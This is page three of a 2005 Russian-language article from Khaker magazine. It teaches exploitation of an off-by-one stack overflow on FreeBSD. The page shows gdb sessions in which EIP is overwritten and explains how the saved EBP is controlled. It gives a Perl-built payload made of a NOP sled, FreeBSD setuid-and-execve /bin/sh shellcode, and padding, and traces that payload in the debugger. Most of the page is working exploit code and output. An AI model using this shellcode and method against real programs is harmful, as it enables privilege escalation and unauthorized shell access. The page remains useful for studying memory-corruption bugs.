Издательский дом ООО "Гейм Лэнд"ЖУРНАЛ ХАКЕР #83, НОЯБРЬ 2005 г.

Суровый байт-одиночка

1dt.w0lf

Хакер, номер #083, стр. 083-064-3


(gdb) ni

0x080485fc in main ()

(gdb) i r

ebp 0x282 0x282

0x282 - первая часть марлезонского балета, ebp восстановлен из стека.

Eip 0x80485fc 0x80485fc

(gdb) ni

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) i r

ebp 0x282 0x282

eip 0x41414141 0x41414141

Видно, что eip перезаписан, соответственно, получаем sigserv. Таким образом, имея возможность управлять данными, которые располагаются по адресам, на которые будет указывать измененный ebp, мы получаем возможность управлять выполнением программы и, захватив власть над eip, можем творить все что душе угодно.

[пишем шелл-код]

Например, попробуем перенаправить выполнение программы по адресам, в которых у нас хранится первый переданный приложению аргумент.

Так как переданные программе аргументы сохраняются в стеке, то, соответственно, от их длины будут зависеть адреса, по которым в дальнейшем будет выделено место под хранение строк. Поэтому длина первого аргумента в данном случае рассчитывается таким образом, чтобы в дальнейшем адрес EBP с одним обнуленным байтом указал на адрес, за которым будет хранится строка b, что видно из вышеприведенного лога отладчика. В нашем случае длина первого аргумента должна быть 132 символа. Также можно найти длину, при которой измененный ebp будет указывать на место, где размещается строка «a» или еще что-то. В общем, все зависит от ситуации; в нашем случае длина 132 и ebp указывает на строку «b».

Далее, так как мы собираемся изменять eip на адрес, по которому расположена строка «b», следует учесть, что в строку копируется только первые 99 символов из первого аргумента программы. Таким образом, шелл-код нам придется располагать именно в первых 99 символах.

Итак, приступим. Возьмем шелл-код под нашу систему (freebsd) и разместим его в первом аргументе программы:

`perl -e '

print "\x90"x70;

print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";

print "H"x33;

print " ";

print "AAAA";

'`

[структура]

Разберу структуру шелл-кода подробнее. Сначала идут 70 нопов (99 символов минус 29 для шелл-кода). Затем следует сам шеллкод, после этого размещаются 33 символа для того чтобы общая длина первого аргумента получилась равной 132 символам. Затем мы располагаем пробел и 4 символа «A», которые пока будут олицетворять собой адрес возврата.

Теперь запускаем отладчик с таким аргументом к программе и смотрим, что из этого получилось:

отладка шеллкода в gdb

$ gdb one_byte_over

(gdb) r `perl -e 'print "\x90"x70; print "\x31\xc0\x50\xb0\x17\x50\xcd\x80\x50\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x50\x54\x53\x50\xb0\x3b\xcd\x80";print "H"x33; print " "; print "AAAA";'`

Program received signal SIGSEGV, Segmentation fault.

0x41414141 in ?? ()

(gdb) x/100 0xbfbfeb00

0xbfbfeb00: 0x00000282 0x41414141 0xbfbfeb00 0x080485f8

0xbfbfeb10: 0xbfbfed84 0xbfbfecff 0x00000063 0x2804ef23

0xbfbfeb20: 0x08048358 0x068acf04 0x28070000 0xbfbfeb48

Назад на стр. 083-064-2  Содержание  Вперед на стр. 083-064-4